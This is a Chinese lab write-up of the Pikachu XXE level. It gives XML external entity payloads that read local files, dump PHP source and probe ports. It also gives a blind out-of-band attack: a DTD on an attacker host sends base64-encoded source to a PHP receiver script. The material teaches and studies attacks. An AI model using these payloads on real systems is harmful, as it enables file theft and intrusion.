Pikachu-xxe (xml外部实体注入漏洞)过关笔记

Pikachu-xxe过关笔记

    • 有回显
      • 探测是否有回显
      • file:///协议查看本地系统文件
      • php://协议查看php源代码(无法查看当前网页代码,只能看别的)
      • http://协议爆破开放端口(两者的加载时间不同)
    • 无回显
      • 第一步
      • 第二步
      • 第三步
    • 运行结果

这一关包含了xxe漏洞,可以练习使用不同注入方法过关
在这里插入图片描述

有回显

环境配置: win10物理机搭建phpstudy

探测是否有回显

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "chuan" > ]> 
<foo>&xxe;</foo>

在这里插入图片描述

file:///协议查看本地系统文件

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

php://协议查看php源代码(无法查看当前网页代码,只能看别的)

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php" > ]> 
<foo>&xxe;</foo>

http://协议爆破开放端口(两者的加载时间不同)

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo><?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

无回显

环境配置: 攻击机为虚拟机kali,ip为192.168.181.129; 靶机为win10物理机,ip为192.168.181.1
物理机上搭建phpstudy,使用kali通过网页访问物理机搭建的网站(如下图),最终目标是获取物理机网站下的文件。

讲讲思路先吧。
虽然它有回显,但我们假装无回显好吧(懒得改代码了),所以就不能像上述操作一样直接从页面中看到返回的结果。
因此我们要转变下思路,既然无法直接看见结果,那我们就让目标网站主动将结果发给我们,然后我们就可以接收网站的传参,最后获取结果。
思路有了,那么该如何实现呢?
第一步先在输入框里传入xml代码,使得网站主动访问我们的payload;
第二步在payload里写入获取目标信息,以及发送信息的代码
第三步就是在我们自己的网站上新建一个接收信息的文件,等待目标网站主动给我们发信息就o了
思路讲完了,接下来是代码时间~

在这里插入图片描述

第一步

在输入框里传入xml代码,使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件(两种写法,结果一样一样的)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.181.129/test.dtd">
%dtd;
%print;
%send;
]>
<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php"><!ENTITY % dtd SYSTEM "http://192.168.181.129/test1.dtd">%dtd;%payload;%send;
]>

第二步

将写有payload的dtd文件写入kali网站目录,能访问到就行
以下是两种dtd文件写法,分别对应以上两种不同的xml提交代码(也是写法上有一丢丢不同,原理一样)
都是将查找到的php源码信息进行base64编码后作为参数传入data中

以下是我找的相关资料

在 HTML中,某些字符是预留的,例如小于号「<」、大于号「>」等,浏览器会将它们视作标签。如果想要在HTML中显示这些预留字符,我们就要用到字符实体(character
entities)。我们比较熟悉的字符实体有空格「 」,小于号「<」,大于号「>」等。这样的格式比较语义化,容易记忆,但其实字符实体有其他的格式:
/ ~ ~ ~

numeric character reference,数字取值为目标字符的 Unicode code point;以「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。
/ ~ ~ ~
&#37 &#x25 都为 %

test.dtd


<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.181.129/recive.php?data=%file;'>">

test1.dtd


<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM
'http://192.168.181.129/recive.php?data=%file;'>

第三步

下面是用于接受发送数据的recive.php,也是写入kali机的网站。因为dtd文件使用get方法传参,所以只需要接受GET参数并保存到get_data.txt里面就好了。

<?php
// 检查请求方法是否为POST
if ($_SERVER["REQUEST_METHOD"] == "GET") {// 获取POST请求的数据$postData = $_GET['data']; // 'data'是GET请求中的字段名,可以根据需要修改// 如果数据非空,将其保存到文件if (!empty($postData)) {$fileName = "get_data.txt"; // 文件名,可以根据需要修改$file = fopen($fileName, "a"); // 打开文件,以追加模式写入if ($file) {fwrite($file, $postData . "\n"); // 写入数据fclose($file); // 关闭文件echo "数据保存成功!";} else {echo "无法打开文件进行写入。";}} else {echo "未收到有效数据。";}
} else {echo "只接受GET请求。";
}

运行结果

代码到这就结束了,下面是运行截图

就是不知道为啥这里一直显示失败,但我的确又是得到最终结果了=_=,不管了

在这里插入图片描述

kali网站路径下成功得到了一个get_data.txt文件,里面是index.php源码的base64编码,直接解码一下就好了
在这里插入图片描述

以下是我用wireshark抓包抓来的,可以看见物理机和kali之间互相请求了两个来回才完成这次攻击,下面我简要记录一下请求的内容
在这里插入图片描述

第一次请求没啥好看的,就是把kali把装有xml代码的数据包发给物理机
在这里插入图片描述
第二次请求,物理机解析了xml代码后主动访问kali网站上的test.dtd文件
在这里插入图片描述

第三次请求,kali向物理机传入payload
在这里插入图片描述

第四次请求,物理机解析dtd文件后将结果放入data参数中传给kali
在这里插入图片描述
很清晰的过程
o了 : )

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/94315.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SketchUp Pro 2023 for Mac——打造你的创意之城

SketchUp Pro 2023 for Mac是一款专业级的3D建模软件&#xff0c;为你提供最佳的设计和创意工具。不论你是建筑师、室内设计师&#xff0c;还是爱好者&#xff0c;SketchUp Pro都能满足你对于创意表达的需求。 SketchUp Pro 2023拥有强大而直观的界面&#xff0c;让你轻松绘制…

C++算法 —— 动态规划(10)二维费用背包

文章目录 1、动规思路简介2、一和零3、盈利计划 背包问题需要读者先明白动态规划是什么&#xff0c;理解动规的思路&#xff0c;并不能给刚接触动规的人学习。所以最好是看了之前的动规博客&#xff0c;以及两个背包博客&#xff0c;或者你本人就已经懂得动规了。 1、动规思路简…

Java+Redis:布隆过滤器,打造高效数据过滤神器!

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是尘缘&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f449;点击这里&#xff0c;就可以查看我的主页啦&#xff01;&#x1f447;&#x…

postgresql16-新特性

postgresql16-新特性 any_value数组抽样数组排序 any_value any_value 返回任意一个值 select e.department_id ,count(*), any_value(e.last_name) from cps.public.employees e group by e.department_id ;数组抽样 -- 从数组中随机抽取一个元素 array_sample(数组&#…

C++:stl:stack、queue、priority_queuej介绍及模拟实现和容量适配器deque介绍。

本文主要介绍c中stl的栈、队列和优先级队列并对其模拟实现&#xff0c;对deque进行一定介绍并在栈和队列的模拟实现中使用。 目录 一、stack的介绍和使用 1.stack的介绍 2.stack的使用 3.stack的模拟实现 二、queue的介绍和使用 1.queue的介绍 2.queue的使用 3.queue的…

插上u盘显示格式化怎么办?U盘数据恢复可以这样做

U盘以其体积小巧、存储容量大、读写速度快的特点&#xff0c;在各种工作和个人使用场合中得到了广泛应用&#xff0c;因此深得用户好评。然而&#xff0c;在日常使用U盘的过程中&#xff0c;经常会遇到一些问题和挑战。 当我需要转移一些资料文件时&#xff0c;总是喜欢使用U盘…

基于spring boot的医疗管理系统 /基于java的医疗系统

摘 要 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时代&a…

一键智能视频语音转文本——基于PaddlePaddle语音识别与Python轻松提取视频语音并生成文案

前言 如今进行入自媒体行业的人越来越多&#xff0c;短视频也逐渐成为了主流&#xff0c;但好多时候是想如何把视频里面的语音转成文字&#xff0c;比如&#xff0c;录制会议视频后&#xff0c;做会议纪要&#xff1b;比如&#xff0c;网课教程视频&#xff0c;想要做笔记&…

[架构之路-225]:计算机硬件与体系结构 - 分类方法大汇总: RISC, CISC

目录 一、分类方法汇总 二、指令流和数据流的关系分类 三、Flynn 分类&#xff1a;指令并行处理 四、根据指令集架构&#xff08;ISA&#xff09;分类 4.1 分类 4.2 开源的RISC-V与封闭的RISC指令集架构比较 4.3 RISC-V的演进路径 4.4 RISC-V与中国芯片自研 4.4 五阶流…

【Kafka专题】Kafka收发消息核心参数详解

目录 前置知识课程内容一、从基础的客户端说起&#xff08;Java代码集成使用&#xff09;1.1 消息发送者源码示例1.2 消息消费者源码示例1.3 客户端使用小总结 *二、从客户端属性来梳理客户端工作机制*2.1 消费者分组消费机制2.2 生产者拦截器机制2.3 消息序列化机制2.4 消息分…

PHP 反序列化漏洞:身份标识

文章目录 参考环境访问修饰符访问修饰符PHP 与访问修饰符 手写身份标识身份标识定义身份标识控制字符 NUL在 PHP 中如何表示空字符&#xff1f; 通过空字符尝试构建包含非公共属性对象的序列化文本 空字符的传输控制字符的不可打印性结论另辟蹊径URL 字符编码将非 ASCII 字符文…

指针笔试题(带解析版)

题目2&#xff1a; struct MyStruct {int num;char* pcname;short sdate;char cha[2];short sba[4]; }*p; //结构体大小为32字节 //p0x100000 int main() {p 0x100000;printf("%p\n", p 0x1);//p&#xff1a;结构体指针&#xff0c;1下一个结构体指针&#xff0c;…

617. 合并二叉树

给你两棵二叉树&#xff1a; root1 和 root2 。 想象一下&#xff0c;当你将其中一棵覆盖到另一棵之上时&#xff0c;两棵树上的一些节点将会重叠&#xff08;而另一些不会&#xff09;。你需要将这两棵树合并成一棵新二叉树。合并的规则是&#xff1a;如果两个节点重叠&#…

Nginx在CentOS上的安装部署、RabbitMQ在CentOS上安装部署

目录 1. Nginx在CentOS上的安装部署 1.1 Nginx简介 1.2 Nginx安装 1.2.1 安装yum依赖程序 1.2.2 手动添加&#xff0c;nginx的yum仓库 1.2.3 通过yum安装最新稳定版的nginx 1.2.4 启动 1.2.5 配置防火墙放行 1.2.6 启动后浏览器输入Linux服务器的IP地址或主机…

最新AI创作系统/AI绘画系统/ChatGPT系统+H5源码+微信公众号版+支持Prompt应用

一、AI创作系统 SparkAi创作系统是基于国外很火的ChatGPT进行开发的AI智能问答系统和AI绘画系统。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作ChatGPT&#xff1f;小编这里写一个详细图…

postgresql-聚合函数增强功能

postgresql-聚合函数增强功能 按季度统计入职员工 按季度统计入职员工 select -- extract截取&#xff0c;按季度进行统计入职员工总数 extract(year from hire_date), count(*) filter(where extract(quarter from hire_date) 1) "第一季度", count(*) filter(wh…

一文拿捏分布式协调Redis客服端-Redisson

Redisson 1.介绍 Redisson - 是一个高级的分布式协调Redis客服端 , 专注于分布式系统开发&#xff0c;让用户可以在分布式系统中很方便的去使用Redis。 2.相关使用 1.加锁 //底层是lua脚本保证了加锁的原子性 // 一直等待获取锁&#xff0c;直到获取到锁为止! 默认锁的存活…

Maven - MacOS 快速安装

配置信息 Maven 版本&#xff1a;3.6.3Maven 地址&#xff1a;Index of /dist/maven/maven-3IDEA&#xff1a;2023 Tips&#xff1a;Maven 版本最好不要超过 3.8.0&#xff0c;最新版 Maven 会不兼容一些配置信息。上面的 Maven 地址里可以选择自己想下载的版本&#xff08;这…

STM32三种开发方式及标准库和HAL库的编程差异

三种开发方式 STM32基于标准库函数和HAL库编程差异_stm32库函数和hal库-CSDN博客本文目的是以串口通信来简要分析STM32使用标准库函数和HAL库函数编程的差异。目录&#xff08;一&#xff09;开发方式1.配置寄存器2.库函数3.HAL库&#xff08;二&#xff09;库函数与HAL库对比…

Git小书系列笔记

Git准备 首先根据自己的系统安装git&#xff0c;安装成功后可以通过如下指令查看git版本。 使用Git之前&#xff0c;需要配置用户名称和电子邮件。 1.设置全局的用户名和电子邮件 git config --global user.name "Your Name" git config --global user.email &quo…